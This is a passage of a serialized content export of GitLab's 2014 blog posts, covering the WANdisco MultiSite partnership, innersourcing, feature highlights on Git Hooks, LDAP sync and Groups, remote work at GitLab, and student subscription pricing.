\"headline\": \"WANdisco integrates GitLab Enterprise Edition in their Git MultiSite offering\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Sid Sijbrandij\"}],\n        \"datePublished\": \"2014-09-22\",\n      }",{"title":40448,"description":40444,"authors":40449,"heroImage":12013,"date":40450,"body":40451,"category":299},"WANdisco integrates GitLab Enterprise Edition in their Git MultiSite offering",[3532],"2014-09-22","\n\n*Partnership will enable large distributed development teams more seamless and efficient workflow to their collaboration and coding review using Git*\n\nUtrecht, The Netherlands - September 22, 2014 - GitLab, the world’s leader open source version control, announced today that GitLab is partnering with WANdisco, a leader in big data products to bring large distributed development teams more seamless and efficient workflow to their collaboration and coding review using Git. The new Git MultiSite for GitLab uses WANdisco's active-active replication to remove bottleneck of Git's master repository architecture and provide 100% uptime and LAN-speed performance for Git developers at every location. \n\nGit MultiSite for GitLab also leverages WANdisco’s patented Distributed Coordination Engine (DConE) to turn servers into writable Git peer nodes. Teams can count on changes being transparent, so conflicts are identified and resolved as soon as they occur instead of days later. Teams can work together regardless of location or time zone, and have access to the performance, scalability, and automated disaster recovery provided by WANdisco’s patented active-active replication.\n\n\"WANdisco offers the only solution to push to a local server in multiple continents.\" said Sytse Sijbrandij, CEO of GitLab. \"We have seen great demand for this among companies that develop software with worldwide teams. And we're very happy that enterprise users can now combine this with the effective code review tools of GitLab Enterprise Edition.\"\n\nDavid Richards, Chairman and CEO of WANdisco highlights well what the collaboration will offer, “Git MultiSite for GitLab combines WANdisco’s patented technology with GitLab to create a scalable, cost-effective solution for global collaboration.\"\n\nBenefits of the new Git MultiSite for GitLab:\n\n- Leverages WANdisco’s patented Distributed Coordination Engine (DConE) to turn servers at every location into fully writable Git peer nodes.\n- Uses active-active replication to remove bottlenecks in Git’s master repository architecture, providing 100% uptime and LAN-speed performance for Git developers at every location.\n- Changes are transparent, so conflicts are identified and resolved as soon as they occur instead of days later.\n- Administrators can check the status of all servers and repositories at a glance and easily add servers and repositories without any downtime.\n- Administrators can choose which repositories are replicated to each site. \n- Every GitLab repository is fully read/write enabled and continuously in sync.\n\nThe partnership with WANdisco strengthens GitLab’s open source software for collaboration on code that is used by more than 100,000 organizations. GitLab will continue to provide teams using Git with its top notch social coding environment for repository management, code review, issue tracking, activity feeds, and wikis. \n\nAbout GitLab B.V.:\n\nGitLab B.V. supports organizations and individuals using GitLab and offers services around GitLab such as subscriptions, consulting, development and training. GitLab is a community project with hundreds of contributors. GitLab B.V. is an active participant in this community, trying to serve its needs and lead by example.\n\nContact:  Sytse Sijbrandij, sytse@gitlab.com\n",{"slug":40453,"featured":6,"template":678},"wandisco-integrates-gitlab-enterprise-edition-in-their-git-multisite-offering","content:en-us:blog:wandisco-integrates-gitlab-enterprise-edition-in-their-git-multisite-offering.yml","Wandisco Integrates Gitlab Enterprise Edition In Their Git Multisite Offering","en-us/blog/wandisco-integrates-gitlab-enterprise-edition-in-their-git-multisite-offering.yml","en-us/blog/wandisco-integrates-gitlab-enterprise-edition-in-their-git-multisite-offering",{"_path":40459,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":40460,"content":40465,"config":40469,"_id":40471,"_type":16,"title":40472,"_source":17,"_file":40473,"_stem":40474,"_extension":20},"/en-us/blog/innersourcing-using-the-open-source-workflow-to-improve-collaboration-within-an-organization",{"title":40461,"description":40462,"ogTitle":40461,"ogDescription":40462,"noIndex":6,"ogImage":10619,"ogUrl":40463,"ogSiteName":1180,"ogType":1181,"canonicalUrls":40463,"schema":40464},"The 7 Most Important Open Source Workflow Practices for Enterprises","Learn about the 7 most important open source workflow practices for enterprises.","https://about.gitlab.com/blog/innersourcing-using-the-open-source-workflow-to-improve-collaboration-within-an-organization","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"The 7 Most Important Open Source Workflow Practices for Enterprises\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Sid Sijbrandij\"}],\n        \"datePublished\": \"2014-09-05\",\n      }",{"title":40461,"description":40462,"authors":40466,"heroImage":10619,"date":40467,"body":40468,"category":813},[3532],"2014-09-05","\n\nOpen source development has shown that volunteers can produce amazing software such as the Linux kernel that runs both on smartphones and supercomputers.\nThe workflow used by open source projects helps to explain why these worldwide communities of volunteers are able to cooperate so effectively.\nSimilarly, in large organizations software developers are spread out across many departments and they do not frequently meet in person nor do they report to the same boss.\nTo improve collaboration within the enterprise some companies are starting to take advantage of the same workflow used by open source projects.\nTim O’Reilly [coined the term “inner-sourcing”](http://www.oreillynet.com/pub/a/oreilly/ask_tim/2000/opengl_1200.html) and defines it as the use of open source development techniques within the corporation.\n\nThe 7 most important open source workflow practices for enterprises are:\n\n1. Visibility: all software projects are by default visible to all employees\n1. Forking: everyone who can see the code, can create a copy [(fork)](/blog/how-to-keep-your-fork-up-to-date-with-its-origin/) where they can make changes freely; these forks are visible for everyone.\n1. Pull/merge requests: even people outside the project are able to suggest changes and you can have a conversation about the code with line comments.\n1. Testing: software includes unit- and integration-tests so that changes can be made with less fear of causing problems.\n1. Continuous Integration: every proposed change is automatically tested and the result is shown with the change.\n1. Documentation: all software projects include a readme that describes what the software does, why that is important, how run it and how to develop it.\n1. Issue tracker: there is a public issue tracker in which everyone can submit a bug or ask a question\n\nMost of these workflow improvements are made possible by distributed version control and modern tooling.\nIn the past a developer had to use word of mouth to find out what other projects were available within the organization and than had to hunt down someone able to give them access to it.\nAdding someone to a project to make changes required a leap of faith on part of the responsible team.\nThis hurt collaboration across departments and led to a duplication of effort.\nWith a modern workflow the developers can reuse work from colleagues and help projects outside their department without first having to ask for permissions and authorizations.\n\nMany enterprises use GitLab to enable this workflow internally.\nAt their request we have introduced a third visibility level for projects.\nInstead of just public projects (visible to the whole world) or private projects (visible only to the participants) you can also mark a project as internal.\nInternal projects are visible to everyone that is logged into the on-premises GitLab server.\nThis way all employees can reuse software, fork it and contribute back.\nWith GitLab an organization can quickly benefit from all open source workflow practices while keeping their code secure.\n\nTo learn more about innersourcing please see this [list of articles about innersourcing](http://www.inner-sourcing.com/wiki/inner-source-wiki/), [email us](mailto:contact@gitlab.com) or ask a question in the comments below.\n",{"slug":40470,"featured":6,"template":678},"innersourcing-using-the-open-source-workflow-to-improve-collaboration-within-an-organization","content:en-us:blog:innersourcing-using-the-open-source-workflow-to-improve-collaboration-within-an-organization.yml","Innersourcing Using The Open Source Workflow To Improve Collaboration Within An Organization","en-us/blog/innersourcing-using-the-open-source-workflow-to-improve-collaboration-within-an-organization.yml","en-us/blog/innersourcing-using-the-open-source-workflow-to-improve-collaboration-within-an-organization",{"_path":40476,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":40477,"content":40482,"config":40487,"_id":40489,"_type":16,"title":40490,"_source":17,"_file":40491,"_stem":40492,"_extension":20},"/en-us/blog/feature-highlight-branded-login-gitlab-ee",{"title":40478,"description":40479,"ogTitle":40478,"ogDescription":40479,"noIndex":6,"ogImage":12013,"ogUrl":40480,"ogSiteName":1180,"ogType":1181,"canonicalUrls":40480,"schema":40481},"Feature Highlight: Branded login in GitLab Enterprise Edition","In GitLab Enterprise edition, you can easily customize the login page of your GitLab server.","https://about.gitlab.com/blog/feature-highlight-branded-login-gitlab-ee","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Feature Highlight: Branded login in GitLab Enterprise Edition\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Marin, Job\"}],\n        \"datePublished\": \"2014-09-02\",\n      }",{"title":40478,"description":40479,"authors":40483,"heroImage":12013,"date":40485,"body":40486,"category":299},[40484],"Marin, Job","2014-09-02","\n\nIn [GitLab Enterprise edition](/enterprise/), you can easily customize the login page of your GitLab server.\n\nBy default, Enterprise Edition page shows GitLab logo and description\n\n![default_login_page](https://about.gitlab.com/images/feature_branded_login/default_login_page.png)\n\n\u003C!--more-->\n\nNavigate to the admin area and go to the Appearance page.\n\n![admin area](https://about.gitlab.com/images/feature_branded_login/admin_area.png)\n\nFill in the required details like Title, Description and upload the company logo.\n\n![appearance](https://about.gitlab.com/images/feature_branded_login/appearance.png)\n\nAfter saving the page, your GitLab login page will show your logo and text!\n\n![company_login_page](https://about.gitlab.com/images/feature_branded_login/company_login_page.png)\n",{"slug":40488,"featured":6,"template":678},"feature-highlight-branded-login-gitlab-ee","content:en-us:blog:feature-highlight-branded-login-gitlab-ee.yml","Feature Highlight Branded Login Gitlab Ee","en-us/blog/feature-highlight-branded-login-gitlab-ee.yml","en-us/blog/feature-highlight-branded-login-gitlab-ee",{"_path":40494,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":40495,"content":40500,"config":40504,"_id":40506,"_type":16,"title":40507,"_source":17,"_file":40508,"_stem":40509,"_extension":20},"/en-us/blog/feature-highlight-git-hooks",{"title":40496,"description":40497,"ogTitle":40496,"ogDescription":40497,"noIndex":6,"ogImage":12013,"ogUrl":40498,"ogSiteName":1180,"ogType":1181,"canonicalUrls":40498,"schema":40499},"Feature highlight: Git Hooks in GitLab Enterprise Edition","Sometimes you need additional control over pushes to your repository. For each project you can have unique Git Hooks.","https://about.gitlab.com/blog/feature-highlight-git-hooks","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Feature highlight: Git Hooks in GitLab Enterprise Edition\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Job van der Voort\"}],\n        \"datePublished\": \"2014-08-25\",\n      }",{"title":40496,"description":40497,"authors":40501,"heroImage":12013,"date":40502,"body":40503,"category":8943},[36660],"2014-08-25","\n\nSometimes you need additional control over pushes to your repository. GitLab already offers protected branches. But there are cases when you need some specific rules like preventing git tag removal or enforcing a special format for commit messages. GitLab Enterprise Edition offers a user-friendly interface for such cases.\n\nFor each project you can have unique Git Hooks. You can set them by going to Project settings -> Git Hooks.\n\n![Git Hooks](https://about.gitlab.com/images/features/git_hooks.png)\n\n\u003C!--more-->\n\nHere you can simply set a regular expression that requires your rule in a commit message. For instance, if you want every commit to reference a JIRA issue such as `JIRA-123`, you could use an expression such as `/JIRA\\-\\d+/`.\n\nIn addition, you can prevent users from deleting tags through pushes.\n\nWe're very excited about Git Hooks and are looking to add more. If you are a customer of GitLab and require a Git Hook, [tell us](https://support.gitlab.com/) and we can implement it for free.\n",{"slug":40505,"featured":6,"template":678},"feature-highlight-git-hooks","content:en-us:blog:feature-highlight-git-hooks.yml","Feature Highlight Git Hooks","en-us/blog/feature-highlight-git-hooks.yml","en-us/blog/feature-highlight-git-hooks",{"_path":40511,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":40512,"content":40517,"config":40521,"_id":40523,"_type":16,"title":40524,"_source":17,"_file":40525,"_stem":40526,"_extension":20},"/en-us/blog/feature-highlight-ldap-sync",{"title":40513,"description":40514,"ogTitle":40513,"ogDescription":40514,"noIndex":6,"ogImage":12013,"ogUrl":40515,"ogSiteName":1180,"ogType":1181,"canonicalUrls":40515,"schema":40516},"Feature Highlight: LDAP Integration","In GitLab Enterprise Edition it is possible to sync your GitLab groups with your LDAP groups, making it super easy to manage access to projects.","https://about.gitlab.com/blog/feature-highlight-ldap-sync","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Feature Highlight: LDAP Integration\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Jacob Vosmaer\"},{\"@type\":\"Person\",\"name\":\"Job van der Voort\"}],\n        \"datePublished\": \"2014-07-10\",\n      }",{"title":40513,"description":40514,"authors":40518,"heroImage":12013,"date":40519,"body":40520,"category":299},[15467,36660],"2014-07-10","\n\nGitLab is a massive open source project with over 600 contributors, all working together to create an amazing platform to collaborate on code. Every month on the 22nd, a new version of GitLab is released, and every month new features are added.\nTo make you aware of the power of GitLab, we walk through some of its features in these blog posts.\n\nPreviously, [we looked at GitLab Groups](/blog/feature-highlight-groups/). This time, we're looking at a GitLab Enterprise Edition feature.\nIn [GitLab Enterprise Edition](/pricing/) it is possible to sync your GitLab groups with your LDAP groups, making it super easy to manage access to projects.\n\n![LDAP Group Sync](https://about.gitlab.com/images/feature_ldap_sync/select_group_cn.png)\n\n\u003C!--more-->\n\nLDAP group synchronization in GitLab Enterprise Edition allows you to synchronize the members of a GitLab group with a given LDAP group.\n\n### Setting up LDAP group synchronization\n\nSuppose we want to synchronize the GitLab group 'example group' with the LDAP group 'Engineering'.\n\n1. As an owner, go to the group settings page for 'example group'.\n\n![LDAP group settings](https://about.gitlab.com/images/feature_ldap_sync/select_group_cn.png)\n\nAs an admin you can also go to the group edit page in the admin area.\n\n![LDAP group settings for admins](https://about.gitlab.com/images/feature_ldap_sync/select_group_cn_admin.png)\n\n2. Enter 'Engineering' as the LDAP Common Name (CN) in the 'LDAP Group cn' field.\n\n3. Enter a default group access level in the 'LDAP Access' field; let's say Developer.\n\n![LDAP group settings filled in](https://about.gitlab.com/images/feature_ldap_sync/select_group_cn_engineering.png)\n\n4. Save your changes to the group settings.\n\nNow every time a member of the 'Engineering' LDAP group signs in, they automatically become a Developer-level member of the 'example group' GitLab group. Users who are already signed in will see the change in membership after up to one hour.\n\n### Locking yourself out of your own group\n\nAs an LDAP-enabled GitLab user, if you create a group and then set it to synchronize with an LDAP group you do not belong to, you will be removed from the grop as soon as the synchronization takes effect for you.\n\nIf you accidentally lock yourself out of your own GitLab group, ask a GitLab administrator to change the LDAP synchronization settings for your group.\n\n### Non-LDAP GitLab users\n\nYour GitLab instance may have users on it for whom LDAP is not enabled.\nIf this is the case, these users will not be affected by LDAP group synchronization settings: they will be neither added nor removed automatically.\n\n### ActiveDirectory nested group support\n\nIf you are using ActiveDirectory, it is possible to create nested LDAP groups: the 'Engineering' LDAP group may contain another LDAP group 'Software', with 'Software' containing LDAP users Alice and Bob.\nGitLab will recognize Alice and Bob as members of the 'Engineering' group.\n\n### LDAP documentation\n\nFind this and further LDAP documentation in our [integration documentation](http://doc.gitlab.com/ee/integration/ldap.html).\n\n",{"slug":40522,"featured":6,"template":678},"feature-highlight-ldap-sync","content:en-us:blog:feature-highlight-ldap-sync.yml","Feature Highlight Ldap Sync","en-us/blog/feature-highlight-ldap-sync.yml","en-us/blog/feature-highlight-ldap-sync",{"_path":40528,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":40529,"content":40534,"config":40538,"_id":40540,"_type":16,"title":40541,"_source":17,"_file":40542,"_stem":40543,"_extension":20},"/en-us/blog/how-gitlab-works-remotely",{"title":40530,"description":40531,"ogTitle":40530,"ogDescription":40531,"noIndex":6,"ogImage":12013,"ogUrl":40532,"ogSiteName":1180,"ogType":1181,"canonicalUrls":40532,"schema":40533},"How GitLab works remotely","GitLab is a fully remote company, meaning that all of us work 100% of our time from home or any other place in the world.","https://about.gitlab.com/blog/how-gitlab-works-remotely","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"How GitLab works remotely\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Job van der Voort\"}],\n        \"datePublished\": \"2014-07-03\",\n      }",{"title":40530,"description":40531,"authors":40535,"heroImage":12013,"date":40536,"body":40537,"category":6634},[36660],"2014-07-03","\n\nGitLab is a fully remote company, meaning that all of us (currently six) work 100% of our time from home or any other place in the world. We're not the first to do this, [Wordpress](http://blogs.hbr.org/2013/03/how-wordpress-thrives-with-a-1/) does it on a much larger scale, but it might be nice for high-growth startups to see how we handle it. It doesn't require as much tools or effort as you might think.\n\nCurrently we're based in Ukraine (1), Serbia (1) and The Netherlands (4).\n\n\n## Morning Meeting\n\nEvery morning at 8:00 CET (note: you have to know your timezones working remotely) we have a morning meeting with the whole team. Nowadays we use [vLine](https://vline.com/) for this, as Google Hangouts was unreliable with more than four people.\n\n![our morning meeting](https://about.gitlab.com/images/remotely/meeting.png)\n\n\u003C!--more-->\n\nWe keep an agenda in Google Docs, and limit it to 45 minutes. Anyone can add anything on the agenda. Every call starts with a round of 'What did you do yesterday?', where everyone tells what they did *after* work; almost always worth some laughs. Next we go over the points and note in the agenda what the follow-up is for each item.\nIn depth discussions are moved to later or after the call with only the relevant participants, rather than having three people doze off while the rest talks about webserver worker optimization.\n\n\n## Worktimes\n\nPeople are free to choose when to work, but most of us work during regular office hours. The flexibility that remote working brings makes that we don't have to worry about living life at the end of the day. This is a daily sight in our Slack:\n\n![During the day we not only work.](https://about.gitlab.com/images/remotely/slack.png)\n\nEveryone in GitLab actually goes to a gym, does some kind of dancing or sports in another way. As it is with a startup, there is always a lot of work to do today and more tomorrow. We find that it works best to work when you work best.\n\n\n## Communication\n\nWe prefer asynchronous communication and specifically GitLab issues. By mentioning someone, that person can reply whenever they have time to reply. It's usually not a good idea to [interrupt someone](http://heeris.id.au/2013/this-is-why-you-shouldnt-interrupt-a-programmer).\n\nFor all other communication we use [Slack](https://www.slack.com) and one of the video call platforms, such as [Google Hangouts](http://www.google.com/hangouts/), [Skype](http://www.skype.com/nl/) and [vLine](https://vline.com/). For communication with our customers, we do the exact same thing.\n\n\n## Social and Happiness\n\nEvery single week, everyone talks individually with Sytse (GitLab CEO) about their happiness. He makes sure everyone is happy and not lacking anything. That works really well.\n\nBesides the morning meetings and weekly calls with Sytse, we also meet up in the physical world to work or -more frequently- eat and drink together. If we can't meet in person, we have a hangout online. With every release of GitLab (22nd of each month!) we have a call together where everyone gets their favorite drink and we just have some -remote- fun together.\n\nWorking remotely, at least for GitLab, is quite a lot of fun.\n\n\n",{"slug":40539,"featured":6,"template":678},"how-gitlab-works-remotely","content:en-us:blog:how-gitlab-works-remotely.yml","How Gitlab Works Remotely","en-us/blog/how-gitlab-works-remotely.yml","en-us/blog/how-gitlab-works-remotely",{"_path":40545,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":40546,"content":40551,"config":40555,"_id":40557,"_type":16,"title":40558,"_source":17,"_file":40559,"_stem":40560,"_extension":20},"/en-us/blog/feature-highlight-groups",{"title":40547,"description":40548,"ogTitle":40547,"ogDescription":40548,"noIndex":6,"ogImage":12013,"ogUrl":40549,"ogSiteName":1180,"ogType":1181,"canonicalUrls":40549,"schema":40550},"GitLab Feature Highlight: Groups","GitLab groups allow you to group projects into directories and give users access to several projects at once.","https://about.gitlab.com/blog/feature-highlight-groups","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"GitLab Feature Highlight: Groups\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Jacob Vosmaer\"},{\"@type\":\"Person\",\"name\":\"Job van der Voort\"}],\n        \"datePublished\": \"2014-06-30\",\n      }",{"title":40547,"description":40548,"authors":40552,"heroImage":12013,"date":40553,"body":40554,"category":8943},[15467,36660],"2014-06-30","\n\nGitLab is a massive open source project with over 600 contributors, all working together to create an amazing platform to collaborate on code. Every month on the 22nd, a new version of GitLab is released, and every month new features are added.\nTo make you aware of the power of GitLab, we walk through some of its features in these blog posts.\n\n![Barry effectively has 'Master' access to GitLab CI now](https://about.gitlab.com/images/feature_groups/override_access_level.png)\n\nWe start by looking at GitLab Groups. GitLab groups allow you to group projects into directories and give users access to several projects at once.\n\n\n\u003C!--more-->\n\nWhen you create a new project in GitLab, the default namespace for the project is the personal namespace associated with your GitLab user.\nBelow we will see how to create groups, put projects in groups and manage who can access the projects in a group.\n\n## How to create GitLab groups\n\nYou can create a group by going to the 'Groups' tab of the GitLab dashboard and clicking the 'New group' button.\n\n![Click the 'New group' button in the 'Groups' tab](https://about.gitlab.com/images/feature_groups/new_group_button.png)\n\nNext, enter the name (required) and the optional description and group avatar.\n\n![Fill in the name for your new group](https://about.gitlab.com/images/feature_groups/new_group_form.png)\n\nWhen your group has been created you are presented with the group dashboard feed, which will be empty.\n\n![Group dashboard](https://about.gitlab.com/images/feature_groups/group_dashboard.png)\n\nYou can use the 'New project' button to add a project to the new group.\n\nNote that there's also the option to [create subgroups and top-level groups](https://docs.gitlab.com/ee/user/group/manage.html#transfer-a-group).\n\nAfter you create a group, here are a few other things you can do with it:\n\n- Adjust user visibility level\n- Share projects with groups\n- Control project access\n- Transfer projects\n- Create personal projects\n\n## How to transfer an existing project into a group\n\nYou can transfer an existing project into a group you own from the project settings page.\nFirst scroll down to the 'Dangerous settings' and click 'Show them to me'.\nNow you can pick any of the groups you manage as the new namespace for the group.\n\n![Transfer a project to a new namespace](https://about.gitlab.com/images/feature_groups/transfer_project.png)\n\nGitLab administrators can use the admin interface to move any project to any namespace if needed.\n\nUpdate: For more info, check out tutorials in the docs on [moving a personal project to a group](https://docs.gitlab.com/ee/tutorials/move_personal_project_to_a_group.html) and [converting a personal namespace into a group](https://docs.gitlab.com/ee/tutorials/convert_personal_namespace_into_group.html).\n{: .alert .alert-info .text-center}\n\n## How to add users to a group\n\nOne of the benefits of putting multiple projects in one group is that you can give a user access to all projects in the group at the same time with one action.\n\nSuppose we have a group with two projects.\n\n![Group with two projects](https://about.gitlab.com/images/feature_groups/group_with_two_projects.png)\n\nOn the 'Group Members' page we can now add a new user Barry to the group.\n\n![Add user Barry to the group](https://about.gitlab.com/images/feature_groups/add_member_to_group.png)\n\nNow because Barry is a 'Developer' member of the 'Open Source' group, he automatically gets 'Developer' access to all projects in the 'Open Source' group.\n\n![Barry has 'Developer' access to GitLab CI](https://about.gitlab.com/images/feature_groups/project_members_via_group.png)\n\nIf necessary, you can increase the permissions or access level of an individual user for a specific project, by adding them as a Member to the project.\n\n![Barry effectively has 'Master' access to GitLab CI now](https://about.gitlab.com/images/feature_groups/override_access_level.png)\n\nTo see groups where users have a [direct or indirect membership](https://docs.gitlab.com/ee/user/group/manage.html), select \"Your groups.\"\n\n## How to manage group memberships via LDAP\n\nIn GitLab Enterprise Edition it is possible to manage GitLab group memberships using LDAP groups.\nSee [the documentation](https://docs.gitlab.com/ee/user/group/access_and_permissions.html#manage-group-memberships-via-ldap) for more information.\n\n## How to allow only admins to create groups\n\nBy default, any GitLab user can create new groups.\nThis ability can be disabled for individual users from the admin panel.\nIt is also possible to configure GitLab so that new users default to not being able to create groups:\n\n```\n# For omnibus-gitlab, put the following in /etc/gitlab/gitlab.rb\ngitlab_rails['gitlab_default_can_create_group'] = false\n\n# For installations from source, uncomment the 'default_can_create_group'\n# line in /home/git/gitlab/config/gitlab.yml\n```\n\nUpdate: Check out [the documentation](https://docs.gitlab.com/ee/user/group/) for more info on GitLab's latest features for [managing groups](https://docs.gitlab.com/ee/user/group/manage.html), [access control for groups](https://docs.gitlab.com/ee/user/group/access_and_permissions.html), [migrating groups](https://docs.gitlab.com/ee/user/group/import/), [restricting access by domain or email](https://docs.gitlab.com/ee/user/group/access_and_permissions.html#restrict-group-access-by-domain), [group file templates](https://docs.gitlab.com/ee/user/group/manage.html#group-file-templates), and more. \n{: .alert .alert-info .text-center}\n",{"slug":40556,"featured":6,"template":678},"feature-highlight-groups","content:en-us:blog:feature-highlight-groups.yml","Feature Highlight Groups","en-us/blog/feature-highlight-groups.yml","en-us/blog/feature-highlight-groups",{"_path":40562,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":40563,"content":40568,"config":40572,"_id":40574,"_type":16,"title":40575,"_source":17,"_file":40576,"_stem":40577,"_extension":20},"/en-us/blog/gitlab-com-runs-ee",{"title":40564,"description":40565,"ogTitle":40564,"ogDescription":40565,"noIndex":6,"ogImage":12013,"ogUrl":40566,"ogSiteName":1180,"ogType":1181,"canonicalUrls":40566,"schema":40567},"GitLab.com now runs GitLab Enterprise Edition","GitLab.com now runs GitLab Enterprise Edition. You now get to use the most fully featured GitLab edition on GitLab.com.","https://about.gitlab.com/blog/gitlab-com-runs-ee","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"GitLab.com now runs GitLab Enterprise Edition\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Sid Sijbrandij\"}],\n        \"datePublished\": \"2014-06-27\",\n      }",{"title":40564,"description":40565,"authors":40569,"heroImage":12013,"date":40570,"body":40571,"category":299},[3532],"2014-06-27","\n[GitLab.com](/pricing/)  now runs [GitLab Enterprise Edition (EE)](/pricing/). GitLab.com is our free SaaS offering allowing you to use GitLab with private repositories and unlimited collaborators. You now get to use the most fully featured GitLab edition on GitLab.com.\n\n\u003C!--more-->\n\nThe reason for this is twofold.\n\nFirst, we want to make it easy to allow you to experience all GitLab features. Second, we want to run EE at scale ourselves since it contains more features than CE.\nWe want to be able to monitor all features on our own server for things like performance regressions. Monitoring our own servers is much easier since we have access to all graphs and logs. This way we can solve problems before anybody notices them.\n\nBy the way, besides GitLab.com we also run another installation. This is a server accessible only to GitLab B.V. employees because problems here are more noticeable to end users. This server is updated daily to the master branch of GitLab Community Edition. This ensures we quickly discover situations where someone merged a breaking change.\n",{"slug":40573,"featured":6,"template":678},"gitlab-com-runs-ee","content:en-us:blog:gitlab-com-runs-ee.yml","Gitlab Com Runs Ee","en-us/blog/gitlab-com-runs-ee.yml","en-us/blog/gitlab-com-runs-ee",{"_path":40579,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":40580,"content":40586,"config":40590,"_id":40592,"_type":16,"title":40593,"_source":17,"_file":40594,"_stem":40595,"_extension":20},"/en-us/blog/10k-commits",{"title":40581,"description":40582,"ogTitle":40581,"ogDescription":40582,"noIndex":6,"ogImage":40583,"ogUrl":40584,"ogSiteName":1180,"ogType":1181,"canonicalUrls":40584,"schema":40585},"10k commits","GitLab recently grow past 10k commits. And even more amazing is that almost half of them were made during last year.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1750099646/Blog/Hero%20Images/Blog/Hero%20Images/logoforblogpost_21mOmoq0dnepgpLzqI703C_1750099645885.jpg","https://about.gitlab.com/blog/10k-commits","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"10k commits\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Dmitriy Zaporozhets\"}],\n        \"datePublished\": \"2014-06-10\",\n      }",{"title":40581,"description":40582,"authors":40587,"heroImage":40583,"date":40588,"body":40589,"category":299},[16575],"2014-06-10","\n\n\n![flyer](https://about.gitlab.com/images/10k/flyer_10k.png)\n\n\u003C!--more-->\n\nDear contributors,\n\nGitLab recently grow past 10k commits. And even more amazing is that almost half of them were made during last year. So 10,000 commits made by more than [600 contributors](http://contributors.gitlab.com/) for the past 3 years. But it's not only about commits. There are more than 6,000 closed issues on issue trackers. And lot of [feature requests](http://feedback.gitlab.com/) on feature request forum. And tons of discussion on the mailinglist, blogs, twitter and irc. That's huge amount of work done for an open source project.\n\nI would want to thank all people who took part in GitLab progress during last 3 years. I am proud to say that we've grown such a good open source community together.\n\nThanks everyone!\nDmitriy on behalf of the [core team](https://www.gitlab.com/core-team/)",{"slug":40591,"featured":6,"template":678},"10k-commits","content:en-us:blog:10k-commits.yml","10k Commits","en-us/blog/10k-commits.yml","en-us/blog/10k-commits",{"_path":40597,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":40598,"content":40603,"config":40607,"_id":40609,"_type":16,"title":40610,"_source":17,"_file":40611,"_stem":40612,"_extension":20},"/en-us/blog/students-now-free",{"title":40599,"description":40600,"ogTitle":40599,"ogDescription":40600,"noIndex":6,"ogImage":12013,"ogUrl":40601,"ogSiteName":1180,"ogType":1181,"canonicalUrls":40601,"schema":40602},"Subscriptions update: Students do not count as GitLab users anymore","We have decided to change the subscription model, so as to match the needs of educational institutions.","https://about.gitlab.com/blog/students-now-free","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Subscriptions update: Students do not count as GitLab users anymore\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Marc Radulescu\"}],\n        \"datePublished\": \"2014-05-19\",\n      }",{"title":40599,"description":40600,"authors":40604,"heroImage":12013,"date":40605,"body":40606,"category":299},[40081],"2014-05-19","\n\nUntil now, GitLab had been running a special discount for universities. We have decided to change the subscription model, so as to match the needs of educational institutions. \n\nStarting today, students of educational institutions students are free when ordering user-packs for a subscription.\n\n\u003C!--more-->\n\nGitLab is one of the most easily scalable code collaboration tools out there, and we are in touch with an increasing number of computer science departments that use GitLab for teaching purposes. They want to upgrade their servers to reach out to potentially hundreds or even thousands of students.\n\nHowever, it becomes apparent that the high variation in the number of students is not a good match with our subscription model. Most universities favor more predictable pricing over per-user pricing, so as to reduce the risk of their subscription bill going through the roof.\n\nWe are very excited to see GitLab being used as a tool for students. We believe it shows graduates the importance and power of the open-source mindset. We also believe it's a long-term investment in growing our user base and the product itself.\n\nWith that in mind, we have decided to change the subscription model. Starting today:\n\n * Student users are free when buying a subscription;\n * The special discount available to universities is deprecated.\n\nAs a note, the staff, post-docs and researchers **do** count towards the number of users.\n\nInterested in our proposition? Head over to our [subscription page](/pricing/) and let's get the collaboration going!\n",{"slug":40608,"featured":6,"template":678},"students-now-free","content:en-us:blog:students-now-free.yml","Students Now Free","en-us/blog/students-now-free.yml","en-us/blog/students-now-free",{"_path":40614,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":40615,"content":40620,"config":40624,"_id":40626,"_type":16,"title":40627,"_source":17,"_file":40628,"_stem":40629,"_extension":20},"/en-us/blog/gitlab-cloud-becomes-gitlab-com",{"title":40616,"description":40617,"ogTitle":40616,"ogDescription":40617,"noIndex":6,"ogImage":12013,"ogUrl":40618,"ogSiteName":1180,"ogType":1181,"canonicalUrls":40618,"schema":40619},"GitLab Cloud becomes GitLab.com","Today we rename our Software as a Service (SaaS) offering from GitLab Cloud to GitLab.com.","https://about.gitlab.com/blog/gitlab-cloud-becomes-gitlab-com","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"GitLab Cloud becomes GitLab.com\",\n        \"author\": 